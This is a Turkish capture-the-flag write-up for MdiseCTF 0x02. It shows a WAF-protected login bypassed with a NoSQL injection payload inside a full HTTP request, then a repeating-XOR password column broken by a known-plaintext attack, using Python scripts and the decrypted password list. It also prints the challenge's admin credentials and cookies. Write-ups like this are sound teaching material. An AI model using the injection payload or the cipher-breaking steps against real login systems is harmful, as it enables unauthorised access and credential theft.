MdiseCTF 0x02 – Türk Bayrağı Ödüllü CTF Çözüm ve Kazananlar

Merhaba

Geçtiğimiz çarşamba günü başlayan ve 13 Eylül Pazar günü son bulan MdiseCTF 0x02 – Türk Bayrağı Ödüllü CTF Yarışmasının  çözümleri ele alınacaktır. Buyrun sizlerin yaşamış olacağınız süreçleri adım adım ele alarak çözüme ulaşalım.

Login ve WAF

https://0x02.mehmetince.net/ CTF adresi ziyaret edildiğinde bir adet login sayfası çıkmaktaydı. HTML kodlarında herhangi bir ip ucu yoktu. Ayrıca hatalı kullanıcı adı ve parola ikililerinde “Kullanıcı mevcut değildir” gibi bilgi ifşasına neden olan “hatalı” hata mesajlarıda yoktu. Weak password anlamında yapılabilecek testlerde başarısız olacaktı zira kullanıcı adı ve parola admin ve iRlTUqc2Ruk1QIJ7eRTp9ycmDhAPN idi.

Peki bu tür durumlarda ne yapmalı ? sorusuna cevap olarak akla ilk gelen saldırı sql injection yöntemidir. “or”1=”1 gibi bilinen SQL Injection payload’ları ise Web Application Firewall tarafından tespit edilerek engelleniyordu. Bir çok deneme sonunda görülecektir ki ilişkisel veri tabanı sistemlerine yönelik sql injection saldırısı WAF tarafından tespit edilerek başarısız olacaktır. Bu noktada aklımıza gelmesi gereken şey NoSQL Injection olmalıydı. Bu konu daha önce MDISec blogda MongoDB ve NoSQL Injection Zafiyetleri yazısı ile ele alınmıştı.

POST / HTTP/1.1
Host: 0x02.mehmetince.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0x02.mehmetince.net/
Cookie: __cfduid=ddbc12ffb3747d1d4c75b433b72a885961434145162; __utma=40737342.219702658.1436268683.1439212238.1440328601.4; __utmz=40737342.1436268683.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.219702658.1436268683; PHPSESSID=8rtn2l761g1epaleh56rurnvf6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

login[$ne]=test&password[$ne]=test

Yukarıda ki payload ile NoSQL Injection bypass gerçekleştirilebilir.

Excel

Login sonrası erişilen admin sayfasında bizi bir mesaj karşılamaktaydı. “Tebrikler, ilk asama tamam..! Buyrun buradan devam edin. Click” tıklama sonrası ise aşağıdaki request’i bir adet XML dosyasına erişilmiş olacaktı. https://0x02.mehmetince.net/admin.php?c=download Bu XML dosyasını Excel ile açtığınızda aşağıdaki bilgilere erişiliyor olacaktı.

Screen Shot 2015-09-13 at 10.36.39 PM

Bu Excel’e ilk bakışta aşağıdaki bilgilere erişmek son derece kolaydır.

  • 25 adet isim, soyisim, doğum tarihi, encrypted, pass_reminder kolonları olan veri bulunmaktadır.
  • 26. satır ulaşmamız gereken bayraktır.
  • Encrypted isimli kolon belli ki kullanıcı parolalarının tutulduğu yerdir.
  • Reminder ise kullanıcıların parolalarını hatırlatmak adıyla girdikleri bilgidir.

Şimdi ise sıra şifreli metinlerimizin olduğu encrypted alanında ki verileri analiz etmede. Çünkü FLAG alanında ki veriye erişmek istiyorsak öncelikle şifreleme algoritması hakkında bilgi sahibi olmalıyız.

Cipher

İlk iş base64 bilgiyi decode edip hex olarak alt alta yazarak bakalım.

from itertools import cycle, izip
from base64 import b64encode, b64decode
from binascii import hexlify

CIPHER_TEXT = """DTcYanoKP1o=
a11hZwRQ
EAdlAgQQFlg=
a11hZwRQRQtjXw==
IgQRMEM8B3odKg==
a11hZwRQRQtj
CAQCBAJTRgUAXw==
Kg4hIEYJAFc=
a11hZw==
Il0lOQYgAWc=
Kxg3IUUf
a11hZwRQ
bx1qNEItFFUQHg==
Kxg3IUUf
Kg4hIEYJAFc=
a15jYgBX
a11hZw==
a1ZnZwBfRwc=
a11hZwRQ
MwM9JVQfHUY=
KRo8IFkPHFY=
bFlkZQdQ
a11hZwRQ
YgEGFFs/HUA1Cw==
"""

for each in CIPHER_TEXT.split("\n"):
    s = hexlify(b64decode(each))
    print ' '.join(a+b for a,b in zip(s[::2], s[1::2]))

Çıktı olarak tüm cipher-text’lerin hex halini yazdırdık ve çıktı aşağıda ki gibi oldu.

➜  0x02 git:(master) ✗ python decrypt.py
0d 37 18 6a 7a 0a 3f 5a
6b 5d 61 67 04 50
10 07 65 02 04 10 16 58
6b 5d 61 67 04 50 45 0b 63 5f
22 04 11 30 43 3c 07 7a 1d 2a
6b 5d 61 67 04 50 45 0b 63
08 04 02 04 02 53 46 05 00 5f
2a 0e 21 20 46 09 00 57
6b 5d 61 67
22 5d 25 39 06 20 01 67
2b 18 37 21 45 1f
6b 5d 61 67 04 50
6f 1d 6a 34 42 2d 14 55 10 1e
2b 18 37 21 45 1f
2a 0e 21 20 46 09 00 57
6b 5e 63 62 00 57
6b 5d 61 67
6b 56 67 67 00 5f 47 07
6b 5d 61 67 04 50
33 03 3d 25 54 1f 1d 46
29 1a 3c 20 59 0f 1c 56
6c 59 64 65 07 50
6b 5d 61 67 04 50
62 01 06 14 5b 3f 1d 40 35 0b
3c 03 33 34 4a 32 17 51 28 06 39 3f 54 14 5c 13 12 0e 20 3a 5a 07 2d 51 33 1d 0d 3a 42 39 11 5a 31 0e 20 27 45 0f 1c 5a 20 41 1f 37 58 15 17 70 0e 29 0d 63 49 56 40 6c 31 0e 28 32 5f 07 1c 5a 27

İlk olarak plain-text uzunluklarını analiz edeceğiz. Bu sayede kullanılan encryption algoritması bilinen block-cipher’dan birisi mi ? sorusuna cevap üretmeliyiz. Bunun için script’imizde ufak bir modifikasyon ile bit size’larını ölçeceğiz.

➜  0x02 git:(master) ✗ python decrypt.py
8
6
8
10
10
9
10
8
4
8
6
6
10
6
8
6
4
8
6
8
8
6
6
10
65

Görüldüğü üzere FLAG datamız 65 karakterden oluşmakta. Bunun haricinde diğer satırlara baktığımızda 4 ile 10 arasında değişimler gözlemlenmektedir. Bu durumda “Hangi bilinen algoritma şifreleme işlemi sonucu 4 ile 10 karakterlik çıktılar verebilir ?” sorusu akıllara gelmektedir.

DES, AES veya Bilinen Block Cipher’lar

Crypto 101 – [2] Block Cipher Encryption ve DES Analizi yazısında ele alındığı üzere, DES 64bitlik yani 8 byte’lık karakterler halinde şifreleme işlemi gerçekleştirmektedir. 64bit’ten küçük blocklar için, örneğin 1337 parolasını şifrelerken, padding adı verilen veriyi 64 bit’e tamamlama işlemi gerçekleştirilmektedir. Bu durumda veriniz 8 byte’tan küçük olsa bile çıktınız 8 ve 8’in katları halinde olacaktır.

Bizim encrypted alanımızda 4,6,9,10 ve 65 byte’lık şifreli veriler bulunmaktadır. Bu bağlamda ne DES nede AES gibi bilinen hiçbir block cipher algoritmasının burada kullanılmadığı aşikardır.

XOR ?

Hex çıktısını sort uniq ile sıralayalım.

➜  0x02 git:(master) ✗ python decrypt.py|sort|uniq -c
   1 08 04 02 04 02 53 46 05 00 5f
   1 0d 37 18 6a 7a 0a 3f 5a
   1 10 07 65 02 04 10 16 58
   1 22 04 11 30 43 3c 07 7a 1d 2a
   1 22 5d 25 39 06 20 01 67
   1 29 1a 3c 20 59 0f 1c 56
   2 2a 0e 21 20 46 09 00 57
   2 2b 18 37 21 45 1f
   1 33 03 3d 25 54 1f 1d 46
   1 62 01 06 14 5b 3f 1d 40 35 0b
   1 6b 56 67 67 00 5f 47 07
   2 6b 5d 61 67
   4 6b 5d 61 67 04 50
   1 6b 5d 61 67 04 50 45 0b 63
   1 6b 5d 61 67 04 50 45 0b 63 5f
   1 6b 5e 63 62 00 57
   1 6c 59 64 65 07 50
   1 6f 1d 6a 34 42 2d 14 55 10 1e

Görüldüğü üzere 6b 5d 61 67 04 50 encrypted alanı 4 kere geçmekte. Yani 25 kişiden 4 kişinin parolası aynı cipher-text’e sahip. Bu durum bize şifreleme mekanizması içerisinde herhangi bir zaman değeri, kişiye özel üretilmiş karakter katarı vb durumların olmadan doğrudan kullanıcı parolalarının encryption’a girdiğini göstermektedir.

Bir diğer dikkan çeken nokta ise 6b 5d 61 67 serisinin 8 farklı kullanıcının parolasında geçmesidir.

➜  0x02 git:(master) ✗ python decrypt.py|sort|grep '6b 5d 61 67'
6b 5d 61 67
6b 5d 61 67
6b 5d 61 67 04 50
6b 5d 61 67 04 50
6b 5d 61 67 04 50
6b 5d 61 67 04 50
6b 5d 61 67 04 50 45 0b 63
6b 5d 61 67 04 50 45 0b 63 5f

Bu bilgiler ışığında, kullanılan şifreleme mekanizmasının sadece basit, düz bir XOR olduğunu düşünebiliriz. Bunun nedeni ise FLAG alanı haricinde ki verilerin en fazla 10 byte uzunlukta olmasıdır. Herhangi bir Block Cipher algoritmasının kullanılmadığına emin olduğumuz için FLAG’i decrypt edebilmemiz, onun içinde geriye kalan 25 satırlık veriyi kullanarak private key’i elde etmemiz gerektiğini düşünmemiz son derece mantıklı olacaktır.

Known plaintext attack

Known plaintext attack, saldırganın şifreleme algoritmasına giren plain-text’i ve algoritmanın çıktı olarak verdiği cipher-text’i bildiği ama algoritmanın kendisini veya algoritmada kullanılan private key’i bilmediği durumlarda kullanılan yöntemdir. Eğer şifreleme algoritması known-plaintext attack’a karşı zaafı varsa, OTP XOR gibi, bu iki bilgiden private key’i elde etmek mümkündür.

Peki biz plain-text’i nereden bulacağız ? sorusuna ise iki cevap var, reminder alanı ve Most Common Passwords. Öncelikle reminder alanına bakalım.

as usual
one to 9
until4
q
one
ma birth day
my wife says...
... of the spotless mind.
devil
simple
Do not try me

Reminder alanında ki veriler aslında basit anlamda bir çok bilgiyi vermekte. Örneğin;  “Dört’e kadar” anlamına gelen until4 büyük ihtimalle parolası “1234” olan kullanıcıyı ifade etmekte. Bir diğer örnek ise “Her zaman olduğu gibi” anlamına gelen “as usual” büyük ihtimalle yer yüzünün en çok kullanılan parolası olan 123456‘yı ifade etmekte. Yahut reminder’ı “ma birth day” olan kişinin parolası, doğum tarihi veya doğum tarihinin iki kere yazılması ile elde edilen bilgidir. ( Excel’de birth_day alanının boş yere koymadığımızı unutmayın!)

Bu bağlamda ben 123456’dan yola çıkarak private key’i elde etmeye çalışacağız. Zaten 6b 5d 61 67 04 50 bilgisinin de 4 defa 25 kişilik listede tekrar etmesi, “Dünyanın en çok kullanılan parolasının, bizim 25 kişilik listemizde de en çok kullanılmış parola olması” ihtimalini son derece güçlendiren bir bulgudur.

>>> from base64 import b64decode as decode
>>> from itertools import cycle, izip
>>> cipher_text = decode("a11hZwRQ")
>>> def encrypt(m,key):
...     return ''.join(chr(ord(c)^ord(k)) for c,k in izip(m, cycle(key)))
... 
>>> 
>>> print encrypt(cipher_text,"123456")
ZoRS1f

Harika! Z0RS1f bilgisi bize yaklaşımımızın doğru olduğunu gösterdi. Ama bir başka problemi de doğurdu. 123456 şifresini tahmin etmekte başarılıydık ama 123456 verisi bizim private key’imizden kısa olabilir. Bu nedenle en baştada ki HEX listesimize dönüp daha uzun bir parolayı tahmin etmeliyiz. Zaten İlk 6 karakteri artık decrypt edebilir durumdayız.

➜  0x02 git:(master) ✗ python decrypt.py|grep "6b 5d 61 67 04 50"
6b 5d 61 67 04 50
6b 5d 61 67 04 50 45 0b 63 5f
6b 5d 61 67 04 50 45 0b 63
6b 5d 61 67 04 50
6b 5d 61 67 04 50
6b 5d 61 67 04 50

4 adet 123456 parolasının olduğunu biliyorduk. Ama 2 adet daha içerisinde 123456 bütününü barındıran parola olduğu görülmektedir. Bu parolaların reminder’ları var mı ? ona baktığımızda ise hex karşılığı 6b 5d 61 67 04 50 45 0b 63 5f olan parolanın reminder’ı “one to 9” yani “birden dokuza kadar” anlamına gelmekte.

>>> cipher_text = decode("a11hZwRQRQtjXw==")
>>> print encrypt(cipher_text,"123456789")
ZoRS1fr3Zn
>>>

Harika..! Gördüğünüz üzere ZoRS1fr3Zn bilgisini elde ettik. Burada fark edilen şey Z karakterinin tekrar ederek devam etmesi. Bunun sebebi ise parolanın, 123456789’dan daha uzun olan ama başlangıcı kesinlikle 123456789 olması! Private key’den daha uzun bir plain-text geldiği için cycle işlemi gerçekleştirilerek ilk karaktere dönülüp XOR işlemi devam etmektedir. Bu bağlamda

Private Key = ZoRS1fr3

dir.

Flag

Elde edilen key ile tüm metin deşifrelenir ve …

from itertools import cycle, izip
from base64 import b64decode

CIPHER_TEXT = """DTcYanoKP1o=
a11hZwRQ
EAdlAgQQFlg=
a11hZwRQRQtjXw==
IgQRMEM8B3odKg==
a11hZwRQRQtj
CAQCBAJTRgUAXw==
Kg4hIEYJAFc=
a11hZw==
Il0lOQYgAWc=
Kxg3IUUf
a11hZwRQ
bx1qNEItFFUQHg==
Kxg3IUUf
Kg4hIEYJAFc=
a15jYgBX
a11hZw==
a1ZnZwBfRwc=
a11hZwRQ
MwM9JVQfHUY=
KRo8IFkPHFY=
bFlkZQdQ
a11hZwRQ
YgEGFFs/HUA1Cw==
PAMzNEoyF1EoBjk/VBRcExIOIDpaBy1RMx0NOkI5EVoxDiAnRQ8cWiBBHzdYFRdwDikNY0lWQGwxDigyXwccWic="""

def encrypt(message, key):
    return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key)))

for each in CIPHER_TEXT.split("\n"):
    print encrypt(b64decode(each), "ZoRS1fr3")

ve sonuç olarak aşağıdaki  bilgi elde edilir.

WXJ9KlMi
123456
Jh7Q5vdk
1234567890
xkCcrZuIGE
123456789
RkPW3546Z0
password
1234
x2wj7FsT
qwerty
123456
5r8gsKffJq
qwerty
password
111111
1234
19541954
123456
iloveyou
sunshine
666666
123456
8nTGjYosod
flag{Tebrikler. Harika_bir_is_cikarttiniz.MdiseCTF_0x02_kazanani}

Değerlendirme Süreci ve Başvuranlar

Değerlendirme süreci şu şekilde olmakta.

  1. Sadece ve sadece tam/doğru çözümü gönderen kişiler seçilir.
  2. Çözümü ilk gönderen kişi 100 puan, ikinci gönderen kişi 95 puan şeklinde azalan değerler çözüm gönderen yarışmacılara sırasıyla verilir. En son ise 70 sabitlenecektir. Bu değer T ile ifade edilir.
  3. Yazılan raporlara değerlendirme ekibi tarafından 100 üzerinden puan verilir. Bu değer R ile ifade edilir.
  4. T değerinin %25,  R değerlerinin %30’u alınır.
  5. Her katılımcı için 0-20 arasından random seçilen değerin %50’si alınır.
  6. Bu üç değer toplanır ve
  7. En yüksek puanı alan yarışmayı kazanır.

Kazanan Kişi

Algoritmamızı uyarlayan ufak bir python kodu..!

#!/usr/bin/env python
from __future__ import division
from random import randint

Users = [
    {
        'name': 'Halit Alptekin',
        'Time': 100,
        'Report': 60,
    },
    {
        'name': 'Kadir Cetinkaya',
        'Time': 95,
        'Report': 80,
    },
]


def chance():
    return randint(0, 20) / 2

for user in Users:
    user['Random'] = chance()
    user['Final'] = (user['Time']*25 + user['Report']*30) / 100 + user['Random']
    print user

seq = [x['Final'] for x in Users]
print "WINNER IS"
print max(Users, key=lambda x:x['Final'])

Bu sonuçlara göre;

➜  0x02 git:(master) ✗ python winner.py 
{'Report': 60, 'Random': 3.0, 'Final': 46.0, 'name': 'Halit Alptekin', 'Time': 100}
{'Report': 80, 'Random': 10.0, 'Final': 57.75, 'name': 'Kadir Cetinkaya', 'Time': 95}
WINNER IS
{'Report': 80, 'Random': 10.0, 'Final': 57.75, 'name': 'Kadir Cetinkaya', 'Time': 95}

Kazanan = Kadir Çetinkaya..!

Katılan herkese için teşekkürler.